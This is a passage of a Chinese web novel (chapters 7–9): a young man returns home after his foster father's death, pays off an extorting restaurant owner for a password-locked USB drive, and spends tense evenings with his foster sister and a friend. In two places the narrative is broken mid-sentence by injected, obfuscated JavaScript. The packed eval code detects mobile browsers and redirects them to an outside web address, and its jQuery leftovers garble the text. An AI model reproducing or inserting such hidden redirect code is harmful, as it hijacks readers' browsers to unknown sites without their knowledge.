闻着白酒的辛辣味,路崇宁暗暗长出口气,家里出事后他寄养在梁辰义家,那段情份对他来说无比厚重,所以绝不能让梁喜把钱退回来。
“我下午去单位报到。”
梁喜没被话题牵着走,“记得把卡号发我。”
短暂的沉默过后,路崇宁轻不可闻地笑了声。
梁喜扭头,“笑什么?”
“你一点没变。”
还是那么倔。
7. 第七章
晚上九点,梁喜刚进洗手间打开花洒,没过两分钟路崇宁便蹑手蹑脚出门,大晚上戴着帽子,跟做贼一样。
他在小区门口拦了辆出租,跟司机师傅说去艳华街,那有一家海鲜排档,也是他实际要去的目的地。
化城没有海,但邻市有,现在运输又便利,所以海鲜排挡的东西不算贵,路家没出事之前路召庆经常带路崇宁过来,后来到梁辰义家,他每每赚到钱后第一件事就是带两个孩子来海鲜排挡搓一顿,自己一口不动,一直帮孩子扒虾,处理外壳,让梁喜和路崇宁吃现成的。
入夜正是海鲜排挡忙碌的时候,路崇宁循着记忆走近,刚要过道,却忽然停住脚。
海鲜排档里面没有不是以往人影绰绰的爆火景象,而是昏暗紧闭的卷帘门。
几年没回来,海鲜排挡竟然黄了......路崇宁无奈叹口气,又奔往下一个地点——郭老板的砂锅店,离这边一点几公里,走路过去不远。
人对负面,或者苦难的承受能力是逐次递进的,即便五公里让路崇宁走他也不会有什么犹豫,左不过累一点而已。
一路上路崇宁心里忐忑,如果砂锅店也关门了怎么办,他不怕折腾,只怕自己想多。
不过幸好这次没那么点背,路崇宁看到了砂锅店正亮着的牌匾,还是多年前的样子,除了旧点,其他没什么变化。
走到门口,路崇宁停下朝里望,食客仅剩一桌,收银台那边,老板娘正在辅导女儿写作业,这个小孩儿路崇宁见过,那会儿她才三岁,还没桌子高,现在已经上学了。
观察完路崇宁没着急进,而是等食客走了,老板娘起身收拾餐具的时候他才进店,“你好,魏哥在吗?”
常来常往的食客都叫老板魏哥,老板娘显然不认识路崇宁,木楞地看着他,“你找老魏什么事?”
“没事,我吃饭。”
这时厨房门帘掀开,老板走到前厅,路崇宁叫了声“魏哥。”
他抬头,和老板娘一样,都是一脸懵。
路崇宁把帽子摘掉,老魏这才恍然,“诶!小宁?是小宁吗?”
“嗯。”
老魏很热情,拍拍路崇宁肩膀,“坐,快坐,好几年没看着,都长成大小伙子了,这么帅气。”
老板娘见两人认识,端餐具去厨房了,收银台旁,小女孩儿趴着边框偷偷往路崇宁这边望,笑的时候门牙缺了一颗......
“吃点什么?魏哥请你。”
“客气了魏哥,我自己来。”路崇宁抬头望向墙上的菜单。
“和老梁一样?一份西红柿牛肉砂锅,一张饼。”
“好。”
“先坐,稍等一会儿。”
店面小,老魏一个人即是厨师又是老板,老板娘收拾完便带女儿回家了,等待间隙路崇宁观察一遍小店,装修一如多年前,墙面菜单受潮变形,桌上的酱油瓶也有个别磕破的,如果稍微讲究一点的人可能觉得环境一般,多数生意还得靠回头客。
没过一会儿砂锅和饼端上来,老魏拽过凳子也坐下,“什么时候回来的?”
“前两天。”
老魏瞥了一眼路崇宁胳膊上的孝纱,说:“你爸的葬礼我去了,老梁走得太突然,留下你们兄妹俩,唉。”
砂锅热气上升,扑在路崇宁脸上,过去一幕幕闪过,给眼前蒙了一层迷雾,梁辰义对外一直管路崇宁叫儿子,或者小宁,时间长了大家也默认他们这对后组的父子。
“幸好你回来了,要不然喜喜一个人更不好过,这孩子可坚强了,人前几乎没哭,过后来找我,问我老梁生前有没有得罪什么人,可能怀疑她爸的死有啥意外吧。”
路崇宁拿起的筷子又放下,“喜喜找你?”
“嗯,不光找我,她把能问的人都问了一遍才死心。”
路崇宁有些懊恼,如果能早点赶回来,这些事绝不会让梁喜一个人承担。
“魏哥,梁叔生前有没有让你给我带什么东西?”
老魏低头用袖口在桌边一下下擦着,“为啥这么问?”
“梁叔说给我办了会员卡,让我过来尝尝味道,如果没有算了,谢谢魏哥。”
相互试探,都没露底......
忽然收银台电话铃响,老魏起身去接。
路崇宁低头开始吃,他不饿,但特意吃了不少,也吃得很快,吃完把钱放到桌边,悄声走人。
老魏这边接完外卖电话,路崇宁已经走得没人影了,他看见了桌上的钱,也看见了纸质菜单上手写的电话号码。
......
这一趟出来一无所获,路崇宁有些沮丧,外面疾风阵阵,吹得眼睛迷离,他拦了辆出租往家赶。
车开到小区门口,付完钱刚下车,一个陌生来电打过来,路崇宁接起,“喂。”
“我是老魏。”
“魏哥。”
“一会儿在你家楼下等我,方便吗?”
路崇宁一秒不敢犹豫,“方便。”
他没上楼,直接在楼下等,如果回家再出去,万一梁喜问起来还得编谎话,索性先不回。
不到二十分钟老魏就赶来了,骑着他的小电驴,连衣服都没来得及换,前襟油污明显。
路崇宁把他带到车棚旁边的凉亭,点了两根烟,递给魏哥一根,他惊讶接过,“行啊小子,真长大了,都学会抽烟了。”
路崇宁笑笑,给他点火。
烟裹了两口,老魏说:“你爸上个月确实找过我,他说如果你回来就把东西交给你,如果两年之内没回就替他烧掉。”
路崇宁为自己看懂梁辰义留下的暗语而高兴,又怕梁辰义的死有什么蹊跷,忐忑不安。
“东西在我这不假,但不能白给你。”
路崇宁见老魏眼神闪躲,立马明白什么意思,他把嘴里咬的烟拿下来,沉静问道:“要多少?”
“不多,十万。”
声音落地,和谐的场面顷刻打破。
路崇宁笑了声,声音传到老魏耳朵里,很刺耳。
“二零一四年你结婚,婚后一年半出轨现在妻子,转移家产,夺走了女儿抚养权,这些事,你前妻知道吗?”
“......”
“第二段婚姻后你开始赌博,输了很多钱,现在的妻子知道吗?”
冷汗从老魏额头往出冒,本来以为路崇宁是小辈,没见过这种阵仗,可他竟然失算了,但路崇宁怎么了解这么清楚呢?唯一解释那就是梁辰义告诉他的。
忽然一只猫从角落窜出来,把老魏吓得蹦老高,路崇宁没忍住笑,就这心态还搞勒索那一套?看来真遇到难事了,赶上路崇宁回来,正好狠敲一笔。
“赌博到现在都没戒吧?”路崇宁弹弹烟灰,往旁边挪了半米,距离感明显,“我跟梁叔去你那吃过多少次饭你应该清楚,他帮过你什么忙你也心里有数,人没了,托你给我捎点东西,你开口就要十万......”
老魏被路崇宁说得脸上红一阵白一阵,但想到自己目前的窘境,只能硬着头皮继续,“店快开不下去了,女儿又要上学,媳妇儿逼我买学区房,我把能想的办法都想遍了,要是还搞不到钱只能去借高利贷。”
路崇宁把烟头扔到地上拿脚踩灭,盯着黑乎乎的地面看了两秒又捡起来,说:“我刚还完家里的债,十万没有,最多给你两万,如果你觉得行就一手交钱一手交货,如果不行,东西你留着吧。”
说完他走下凉亭台阶,不过几步距离老魏就绷不住了,赶忙叫住路崇宁,“好,按你说的,什么时候给我?”
路崇宁回身,“东西呢?”
“在...我没拿。”
路崇宁盯着老魏上衣口袋,“别捏碎了,卖不上价。”
老魏双腿蜷起向后一翻,从椅子另一边跌落,慌乱站起来,说:“怎么?想抢啊?”
路崇宁有点无奈,“等我十分钟,我去取钱。”
想到马上有两万块钱缓解燃眉之急,老魏一动不敢动。
......
路崇宁不确定梁喜这个时间睡没睡,他只能轻手轻脚,碰运气。
进屋的时候倒是没见着,等路崇宁拿了钱刚从卧室出来便撞见梁喜,她站在房门口,用审视的目光看着他。
“去哪了?”
路崇宁随口一答,“有点事。”
“拿钱干嘛?”
梁喜都看见了,钱是她下午从银行取的,路崇宁不肯给卡号,她只能取现金。
“去睡觉,我马上回来。”
路崇宁将梁喜身子转过去,往卧室一推,刚要走,却被梁喜追着拉住手腕,“是不是谁又跟你要钱了?”
“没有。”
梁喜盯着他,不问出点什么誓不罢休的模样。
路崇宁想走,奈何梁喜死死捏着不松开,他用力一甩,连同手中钱一起甩出去,他又下意识去揽梁喜,可钱却洒了一地......
扶正梁喜,路崇宁低下身子捡钱,随手一抓,像急得毫无顺序,梁喜心里的猜测更加混乱,但他阴沉的模样让梁喜莫名心疼,没再逼问。
钱装回纸袋,路
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207496|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
崇宁急匆匆下楼,他没去找老魏,而是绕着前后两栋楼走了一圈,期间打了个电话,然后走出小区上了一辆出租车。
十分钟后,一家药店侧门,老魏骑着电动车赶到,和路崇宁接上头,一手交钱,一手交货。
“这笔钱当我替梁叔给的,感谢你帮他保管。”
路崇宁的话让老魏有些汗颜,纠结拿还是不拿,最后现实打败良心,还是拿了。
路崇宁打开手里的小盒子,原来是个u盘,老魏把钱揣兜里,偷偷瞄了眼,“对天发誓,里面内容我可没看啊!”
夜色下,路崇宁眼神很不友好。
老魏竖起四指,“我发誓我真没看,我是朝你要钱了,你可以骂我不地道,但没做过的事我不认!”
说完往路边指指,“我先走了,明早还得送孩子上学。”
电动车很快消失在夜色下的长街,路崇宁手里捏着u盘,他没电脑,犹豫要不要找个网吧,附近好像没看见。
忽然他想到梁喜有电脑,能借来的话今晚就能看到u盘内容,可他刚刚为了甩掉梁喜的跟踪,特意打车离开小区,现在回去的话怕是不好借。
......
上楼开锁进屋,黑漆漆一片,没开灯,哪个屋都没开。
路崇宁去摸门口开关,忽然眼前一亮,他抬头,看见梁喜从卧室走出来,两人四目相对,像极了抓包现场。
这次她什么也没说直奔厨房,路崇宁顺势望过去,打开的冰箱保鲜层全是啤酒,白光照在梁喜脸上,有种清冷的美。
“梁叔留下的吗?”他主动搭话。
梁喜拿出一罐,拉开拉环,仰头喝了几口,不接茬。
一个抽烟,一个喝酒,兄妹俩算占全了......
路崇宁把冰箱门推上,大手按着不放,“能把你电脑借我用下吗?”
梁喜眼睛斜睨他,不答反问:“钱呢?”
麦芽香气蔓延过来,路崇宁不肯说,冰箱上的手指弹了弹,像在催促。
梁喜气不顺,对视之下谁也不让,忽然路崇宁放下手,说:“我去找个网吧。”
“等着,”梁喜回屋找到电脑,拿出来直接怼他怀里。
“有密码吗?”
“信航生日。”
不是故意的一拳,却刚好捶向某人心口。
路崇宁眼里的波动被梁喜捕捉,她捏着啤酒罐回屋把门关上,关门声很轻,以此彰显她的平静。
隔着一道门,路崇宁站在黑暗中,肩膀慢慢塌下去,他不是不知道信航生日,而是没想到密码竟然是这个,可究竟什么意味只有当事人自己清楚......
电脑不算新,开机用了半分钟,桌面是电脑自带的护眼图片,清新自然。
路崇宁把u盘插/上,双击打开,一个弹窗跳出来,原本紧张的心彻底凉了,u盘也需要密码......
他点了根烟,抽几口平平气,首先u盘的密码绝对和信航无关,他第一个想到的便是梁喜生日,输完发现不对,第二个输的是梁辰义生日,也不对。
路崇宁一时不敢再试,万一输错几次,锁上或者格式化都得不偿失,他拔掉u盘塞进钱包。
梁喜这边在被窝里像个蚕蛹一样滚来滚去睡不着,听见敲门声,她利落翻下床去,把门打开一道缝隙。
路崇宁拿着电脑站在门外,“睡了吗?”
“有话就说。”
梁喜感觉他纯粹没话找话。
“谢谢。”
电脑从缝隙塞进来,梁喜接过,刚要关门,听见路崇宁问:“你知道梁叔一般习惯用什么数字当密码吗?”
梁喜把门敞开,彼此的模样一下子清晰开来,路崇宁看着有些疲惫,好似轻轻一碰就会碎掉。
“他银行卡密码是我生日加你生日,手机没密码。”
路崇宁到梁辰义家之后,每年生日都是梁家父女加上信航一家三口陪着过的,从来没人忘记,也包括梁喜。
他点点头,“知道了。”
事关梁辰义,梁喜可以正大光明好奇,“你问这个干嘛?”
“随便问问。”
梁喜不傻,知道绝不可能随便问问这么简单,可今晚的路崇宁明显藏着秘密,她暂时问不出来,只能关门睡觉。
夜里,月亮高悬,清冷的月光洒进阳台,像撒了一地银霜。
路崇宁坐在梁辰义的骨灰坛旁边,静静抽着烟。
他不是第一次体会“哀思”这种东西,却同样难过,也同样陷入深深的迷惘之中......
8. 第八章
第二天早上睡醒,梁喜起床去厨房找水喝,冰箱打开她一下愣住,十几罐啤酒全都不见,取而代之的是牛奶,从小到大常喝的牌子,好喝不贵。
路崇宁小时候天天被他妈逼着他喝牛奶,一天一瓶,梁辰义知道后也给梁喜订,她倒喜欢,喝了几年后个子没窜太高,皮肤倒是白皙,不知是遗传她妈,还是牛奶的功劳。
关上冰箱,梁喜直奔路崇宁房间,连门都没敲,一巴掌拍开。
路崇宁躺在床上,长长一条,T恤短裤扁塌塌贴在身上,某一处又鼓起来,梁喜的气势一下萎了,赶忙挪开眼睛。
“怎么了?”他手搭额头,一脸倦意。
“你换的?”
“什么?”
“不是告诉你别管我。”
静默两秒,路崇宁缓缓起身,走到梁喜对面,看着她,“你以什么身份跟我说这句话?”
“......”
“嗯?”
梁喜被路崇宁的冷脸搞得莫名害怕,但还倔强地扬着头,“你觉得以什么身份说你才会听?”
“陌生人。”
同住一个屋檐下,再怎么撇清兄妹关系也不会到陌生人的地步,所以这条约定完全无效。
“多喝牛奶,好长个儿。”路崇宁说完拍拍梁喜脑袋,前后变化之大,让梁喜摸不准他脾气。
“长高有什么用。”梁喜小声嘟囔。
路崇宁向前一步靠近,居高临下俯视她,压迫感强烈。
有用,确实有用。
......
晚上六点,信航把两人约出来吃饭搓澡,说要正式给路崇宁接风洗尘,本来昨晚要出来聚的,可队里有事没走开。
他选的这家洗浴中心梁喜没来过,看样子刚开没两年,设施很新,在一楼换完鞋,信航拍拍路崇宁肩膀,“一会儿给你来个全套,重温一下咱东北洗浴文化。”
梁喜冷哼一声,想说的话不言而喻。
信航不服,“二十六了,什么不懂啊!说不定比我懂得多。”
梁喜趿拉着拖鞋往里走,她好像总忘记路崇宁已经是大人的事,所有固化印象还停留在他上学那会儿......
快走到女宾门口时信航冲她喊:“喜喜,汗蒸房汇合。”
“好~”
她懒懒地应了一句,头也不回。
换完鞋,信航搭着路崇宁肩膀往男宾走,“喜喜比以前更漂亮了吧?”
“还行。”
“你记得她小时候长什么样吗?”
“忘了。”路崇宁眼前闪过一些画面,掀开门帘让信航先走。
“小时候眼睛就这么大,她一哭,我妈的鞋底子就冲我飞过来,好家伙,不分青红皂白。”
走到里面,路崇宁循着手牌号找到对应柜子,边脱衣服边问信航,“你工作怎么样?还那么忙吗?”
“忙,要不昨天也不能临时回单位。”
提起工作,信航的话茬彻底打开,不过有的事不能对外,跟路崇宁说的时候小心翼翼,怕被人听见。
......
半小时后,梁喜乘电梯到达三楼汗蒸区,她不喜欢泡水,所以洗澡一向很快,要了个甜筒,刚坐下就看见路崇宁和信航身穿同款不同色的汗蒸服走过来,信航捏着路崇宁胳膊对梁喜说:“他在国外到底干啥了?身条贼顺。”
说完又拍了下路崇宁肚子,“还有腹肌,太吓人了,不会被卖到乡下耕地去了吧?”
梁喜随信航的手打量,路崇宁的腿笔直修长,把平时看着挺高的信航都显得矮了一截,浑身上下非要找点违和的地方,就属他那一头乱蓬蓬的头发了。
梁喜飞快移开视线,“你不也有吗?”
“当然!”信航掀开衣服,冲梁喜拍拍收紧的肚皮,八块,一块不少。
梁喜却看都不看,“放下,肤浅。”
甜筒递给信航,她说:“帮我拿下,我把头发扎上。”
信航没接,而是撸下她手腕的皮筋,让梁喜背过去,他则单膝跪地,双手拧劲一样笨拙地将梁喜的长发聚拢。
“你别给我头发扯掉了!”
“知道知道,大小姐,别动。”
路崇宁在旁边干看着,一言不发,随头发束起,梁喜的脖颈裸露出来,白皙细长,耳廓上有颗小小的黑痣,不易看到,但他准确记得位置。
“好了吗?”梁喜有点不耐烦。
信航撒手,“好了。”
连及格都算不上的丸子头,鸡窝一样,勉强不会散。
信航弄完跟路崇宁说:“你头发该剪了啊。”
路崇宁坐下,长腿伸出去,“没事,回家我自己剪。”
没了头发遮挡视线,梁喜轻易用余光瞥到她和路崇宁之间的空位,空到可以挤两个人。
“你还会剪头呐?”信航一脸疑惑,坐到梁喜和路崇宁中间。
“嗯,同事有工具,我一般直接推成寸头,省事。”
“我们单位也不让留长,三天两头就得剪。”
信航说完又看梁喜,“怎么不吃了?”
手中甜筒转了一圈,“啊......”
梁喜有个很奇怪的点,吃甜筒就喜欢吃上面,以前梁辰义捡剩,后来是路崇宁。
“给我。”路崇宁长手一捞,将蛋筒拿过去咬了口,“咔哧”一声,另一边,梁喜盯着空空如也的手愣住了。
信航看着两人自然地吃一个甜筒,浓眉一皱,“我再去打几个吧,可怜巴巴的,家里又不是没这条件。”
见双双摇头,信航无奈给自己打了一个,没几口便吃完了,他从小不但嘴壮,观察力和灵敏性更比寻常人高一截,梁喜觉得他天生当警察的料。
吃完信航擦擦嘴,说:“我要了壶茶,咱们去汗蒸房吧。”
路崇宁站起来,和信航同时看向梁喜,但伸手的动作比信航慢了一步,他适时缩回,不露痕迹。
梁喜被信航拉起,“去四十五度,我怕热。”
信航一脸坏笑,“扔七十那屋,把你烤熟。”
梁喜抬腿照他屁股踢了一脚,触感还不错,挺翘的。
说来奇怪,她跟信航可以毫无顾忌地打闹,但和路崇宁不行,可以说这种程度从没有过,以前谈恋爱的时候,有次在家里一起洗手,路崇宁在梁喜身后拽毛巾,靠得特别近,梁喜紧张得心脏砰砰直跳,以为路崇宁会抱她,可好光景被突然回来的梁辰义打断,如果他没回来,梁喜也猜不准后续......
四十五度屋里还剩两个空位,梁喜跑过去躺下,热浪直往脸上扑,她闭眼享受了两秒,再睁眼时看见路崇宁和信航俩大高个儿挤在旁边,只能坐不能躺。
梁喜收腿,不经意剐蹭到路崇宁,他象征性动了动,什么也没说,梁喜又假装无意踹了一脚,路崇宁依然好欺负一样不吭声,搞得梁喜自讨没趣。
服务员把茶端上来,信航跪滑到里头,茶桌放在中间,他连倒三杯茶,一人一杯,茶水太烫,梁喜想端没端起来。
信航明显皮厚不怕烫,茶杯端得特别稳,“小宁,没处个日本女朋友啊?”
梁喜屏息盯着茶水,一动不动,生怕错过什么。
“没有。”
肩膀塌下去,梁喜暗暗松口气。
信航又问:“你同事应该没啥女的吧?”
“办公室有,不少。”
“你喜欢什么类型?我给你介绍,老大不小了还没谈过恋爱,说出去给我丢人。”
梁喜余光瞥了路崇宁一眼,心里隐隐期待他会怎么回答,可他低着头,嘴巴抿得严实。
信航转头问梁喜,“知道你哥喜欢哪种吗?比如?”
路崇宁闭口不谈的模样让梁喜期待落空,她报复似地脱口而出,“我哥谈过恋爱。”
路崇宁和信航一起盯着她,一个失措,一个惊讶。
在惊讶过后,信航一脸坏笑,“什么时候?竟然不告诉我!太不够意思了。”
梁喜故意放缓语速,说:“好久之前的事了,没谁知道。”
桌下,路崇宁的手紧握成拳,骨节因用力而泛白。
信航眼里的好奇值拉满,“长得漂亮吗?”
梁喜刚要张嘴被他拦住,“我问崇宁呢,你让他自己说。”
路崇宁抬头,懒散地向后晃了两下脖颈,淡淡回应,“不好看。”
回旋镖扎过来,这下失措的人轮到梁喜,汗蒸房的热气让她呼吸不畅,闷得难受。
信航吸溜一口茶,喝得有滋有味,可路崇宁喝完却眉头一皱,虽然短暂还是被信航看见,“怎么了?苦啊?”
“有点。”
信航用力拍了下路崇宁的膝盖,“想喝什么告诉我,上九天揽月我都给你买。”
路崇宁被他逗笑,梁喜却笑不出来,从小到大一直是路崇宁给他俩东西,现在风水轮流转,路崇宁变成被给予的那个。
忽然梁喜感觉脑后一轻,原来是皮筋松了,她朝信航猛踹一脚,“看你扎的破玩意儿!”
信航捂着屁股,一脸无辜,“我又没学过。”
“给我。”路崇宁伸手,掌心向上。
视线扫过指尖,梁喜说:“不用。”
她举起胳膊试图自己扎,可皮筋却被路崇宁抢去,她急恼吼了句,“不是说了吗?不用!”
这一吼把信航吓了一跳。以为梁喜下一步要打人。
“坐好。”
相比信航,路崇宁语气十分平静,但却透着一丝严肃,梁喜的暴脾气没让他丝毫畏缩,而是箍着梁喜肩膀,让她转过去背对自己。
梁喜像被点了穴一动不动,旁边的信航也如此,大气不敢出,直勾勾地盯着,好像他俩的生死全握在路崇宁手上。
梁喜散落的头发被路崇宁几下束起,转了几圈用皮筋扎好,丸子头告成,她抬手摸了摸,感觉还不错,但面上不想表现出来,更不会说谢。
信航看着梁喜,“咱仨现在都单身,等老了以后搭伙住养老院吧,你看你连头发都扎不好,小宁可以帮忙。”
“你俩去吧,我又不是单身。”
梁喜这句可比刚才哪句都劲爆,信航嘴里的茶差点喷出去,“不是一直光杆吗?什么时候谈恋爱了?你俩怎么都背着我呢?”
喊得太大声,身旁人纷纷侧目,信航赶忙低头,拉住梁喜手腕,小声问:“对方哪里人?多大?做什么工作?”
梁喜甩开他,“大学同学。”
这种谎太好扯了,简直张口就来,她说完端起杯子喝茶,用余光偷瞄路崇宁。
“我去下洗手间。”路崇宁从榻榻米下去,走到门口时歪了下头才不至于撞到门框。
后面信航还想盘问,让梁喜一顿乱拳打回。
“你和小宁到底怎么了?”
“没怎么啊,又没打架。”
“你还想打架?”
梁喜攥拳,“怕我输啊?”
“我怕小宁输,他自尊心强又骄傲,你别惹他了行不行?”
梁喜不接茬。
“你俩这么别扭,勉强住一起干嘛,不理解。”
梁喜咽下茶水回怼,“您别费神了。”
信航顶着一张忧国忧民的脸还想问什么,被梁喜捏住嘴唇,瞬间变成扁嘴鸭子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207497|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
信航没用什么劲儿便挣脱开,“改改你那脾气,等小宁有女朋友就搬出去了,肯定不会在你家住。”
梁喜点点头,“应该快了吧,他刚回来晚上就出去约会,连续两天不着家。”
“你要有嫂子了。”信航一脸笃定。
“滚。”
......
从汗蒸房出去,路崇宁找了一圈也没发现可以抽烟的地方,问了服务员,被告知抽烟只能到外面,他心情烦闷,正好不想回去,索性换下汗蒸服,去外面等。
过了二十多分钟梁喜和信航出来,看见路崇宁蹲在洗浴中心门口,脚底树叶上对着三个烟头。
“小宁,好点没?”信航说着从兜里掏出车钥匙,走过去要拉路崇宁,他自己先站起来,“没事。”
出来时他发信息给信航说里边太闷,不舒服,在外面等他俩。
梁喜觉得路崇宁所谓的不舒服,心理大于生理......
离开洗浴中心,信航把梁喜和路崇宁送到家楼下便开车回去,他明天要早点去单位,人民警察太忙。
站在路边,两人不说话也不动,有种暗暗较劲又不知如何打破僵局的尴尬。
忽然梁喜瞥见理发店牌匾,发号施令一样,说:“你去把头发剪了。”
“为什么?”
“我看着不舒服。”
尤其是眼睛总被挡住,她看不到他的眼神,更难猜他的心思。
路崇宁嘴角露出一抹不易察觉的笑意,“我去的话可以让你消气吗?”
“哪来的气。”
“和平共处。”路崇宁伸手。
梁喜抬手扇开,“先把头发剪了再说。”
路崇宁搓了两下麻酥酥的指尖,看着梁喜,眼睛好像在说“你接着装”
梁喜抬抬下巴,“去啊。”
这场较劲最终以路崇宁就范收场。
......
推开理发店的门,梁喜见屋里没客人,问迎面的小工:“还能剪吗?”
“能,里面请,二位想怎么弄?”
梁喜指着路崇宁,“给他剪。”
“帅哥过来跟我洗洗吧。”
小工带路崇宁去里面洗头,梁喜坐在门口沙发上等,这家理发店开了几年了,面积不大,只有一男一女两个理发师,之前放假回来她在这修过发尾,技术凑合。
洗完头理发师让路崇宁坐下,扯一块黑乎乎的围布盖在他身上,问他想怎么剪,路崇宁却转头看向梁喜,她会意,走过去问:“哪种发型最丑?”
理发师愣住,好像吃了什么不干净的东西......
梁喜拍板,“寸头吧。”
记得刚上高中时有一阵梁喜迷上偶像剧,跟信航还有路崇宁说她喜欢男生留长发,信航为了在梁喜面前耍帅,连续俩月没剪头,后来被他妈揍了一顿,拽着他到理发店把头发全剃了,跟小和尚差不多,直到头发长到之前那个长度前都没再去梁喜家玩过。
少女的审美一阵风一阵雨,说变就变,没过两天她又改喜欢寸头了。
这次不是因为偶像剧,而是因为路崇宁。
他头型很好看,可能杨婉仪没听信老人一定要给孩子睡扁头的说法吧,以前梁喜倒没注意,直到梁辰义带路崇宁剪了寸头才明显。
理发师听梁喜说完看向路崇宁,像在征求本人意见,他点点头,理发师这才敢下手。
发型简单,没一会儿就剪完了,理发师“咔哧”两下剪刀,问:“美女,看你男朋友剪得怎么样?还有哪里需要修吗?”
听到“男朋友”三个字,路崇宁抬头,发现梁喜正看着镜子里的他,目光汇聚的一瞬又同时躲闪。
“可以。”梁喜一锤定音,剪完头发的路崇宁眉眼清晰,利落不少。
理发师放下剪刀,对自己的手艺颇为满意,“这小寸头,带劲哈!”
“嗯,带劲,适合出家当和尚。”
理发师不知道梁喜是夸是损,他拍拍路崇宁肩膀,“起来吧,冲冲碎发茬。”
“不用了。”路崇宁随便划拉几下,自己解开围布站起来。
“丑吗?”
理发店门口,路崇宁抬手摸了摸,视线飘忽,不知是不适应还是不好意思。
梁喜看头发的时候连脸一起看了,路崇宁刚回来时她直观感觉他比以前成熟不少,但剪完这个发型又让少年感回归,两种感觉神奇切换,总之帅得一塌糊涂。
“放心,不耽误你找对象。”
梁喜口是心非,转身往家走去。
今晚她惹了路崇宁两次,惹完又后悔,只剩下嘴硬。
......
开锁进屋,路崇宁到洗手间把沾的头茬洗掉,出来时脸上湿漉漉的,没擦。
他的睫毛不算长,但又黑又密,带着一种引人怜爱的脆弱感,梁喜想放狠话的时候从不跟他对视,因为只要那样,她就不可自控地心软。
几滴水珠甩在脸上,梁喜回神,想起家里没有路崇宁用的毛巾,把纸抽扔过去。
“谢谢。”
路崇宁常把这两个字挂在嘴边,从小到大一直都是。
“我睡觉了。”
梁喜声音很小,看似打招呼,又不完全是。
房间开了又关,她摸黑站在原地,过了半天门外才响起脚步声。
对面房间,路崇宁坐在床边,淡蓝色的床单被罩好像晒过,有干净的阳光味道,松软舒服,床尾地上放着一个纸箱,里面装着他出国后留下的物品,不多,但几乎都在,本来里面还有四万块现金,昨晚一半喂狗肚子里了......
9. 第九章
到公司报道完之后的周一,路崇宁竟然去上班了,回国几天,都没怎么好好休息。
上班后路崇宁早出晚归,梁喜却睡得昏天暗地,有种要把过去两年上班缺的觉全补回来的意思。
周三上午九点半,梁喜睡醒后在床上又赖了会儿,直到肚子“咕咕”叫才起来。
看眼手机,这个时间路崇宁早走了,她穿着堪堪遮住腿根儿的吊带睡衣,顶着一头炸毛从卧室出来,想弄点水喝。
走到客厅,隐约瞥见一个人影,梁喜以为自己睡眼朦胧恍惚了,她揉揉眼再看,只见路崇宁手里拿着喷壶在给家里唯一一盆绿植浇水。
两人一时愣住,像两座僵硬的雕像。
喷水壶洒出来的水滴在路崇宁脚上,他先回过神,慌忙转过身去,细长的白腿画面止不住在他眼前乱晃。
梁喜跑回卧室钻进被窝,心脏砰砰跳得猛烈,脸也憋得通红,没想到信航说的“不方便”这么快发生了,她穿的睡裙很短,轻轻一动就有可能走光,而且没穿内衣......
手机进来一条信息,梁喜掀开被子一角,摸到手机解锁来看,“抱歉,今天休假忘告诉你了。”
信息来自路崇宁,他倒有速度。
尴尬总得有一方先打破,也不能在屋里躲一辈子,梁喜迅速穿好衣服,拿上手机和钥匙,从卧室出来连鞋都没换,直接开门下楼。
......
化城学院南门外,一家叫“光影韩餐”的小店刚刚开始一天的营业。
梁喜从出租车下来,进店在吧台旁的高脚凳坐下,忙着打扫卫生的女孩儿闻声转头,惊诧问道:“怎么了?又作什么妖?”
女孩是梁喜最好的朋友,叫“崔影”,也是这家小店的老板,她毕业考了一次公务员失败后便果断放弃,家中独女,父母宠爱,除了个别亲戚的碎嘴,没人给她压力,父母出钱帮她开了这家店,不算太忙,挣点小钱,生活倒也安逸。
“饿了,崔老板弄点吃的。”
梁喜说完栽倒,好用这个状态让崔影相信她体力不支。
崔影歪头,扒开遮住梁喜脸的头发,“不舒服啊?脸这么红。”
“......外面热。”
梁喜心神不定的模样全被崔影看在眼里,她没逼问,而是说:“等着,我给你下碗面。”
“卧个蛋。”
“没有!”
等崔影去后厨,梁喜对着吧台镜子看了看,脸确实有点红,而且心跳加速的状态从家里一直持续到这。
丢人......尴尬......路崇宁不知道会怎么想她,前几天还一副盛气凌人的模样,眼下却落荒而逃。
迈下高脚凳,梁喜从冰箱拿了瓶矿泉水,拧开“咕咚咚”喝掉半瓶,终于感觉舒服点,开始帮崔影干活。
昨晚关店时的残局犹在,估摸这桌客人玩得很尽兴,碗筷四处散落,崔影的店紧挨化城学院,平时来吃饭的基本都是大学生或者其他年轻人,梁喜数了数空瓶,差不多二十个,年轻就是好,真有战斗力。
面很快煮好,崔影端到窗边一张干净桌上,“喜喜,别收拾了,吃饭。”
“来了。”
看着色香味俱全又加了两个鸡蛋的热汤面,梁喜抻抻懒腰,刚坐下,崔影问她:“怎么穿拖鞋出来了?”
“......舒服。”
崔影把矿泉水拧开放到碗边,“自己在家害不害怕呀?要不要我过去陪你住?”
梁喜拿起筷子搅了搅,热气在眼前升腾,模糊一片,“路崇宁回来了。”
崔影好久没听梁喜提这个名字,“啥?!他知道梁叔去世吗?”
“知道。”
崔影和路崇宁不熟,高中时见过几次,对他多数印象都来自梁喜,忽然崔影脸上神情变换,“你哥还那么帅吗?”
梁喜摇头。
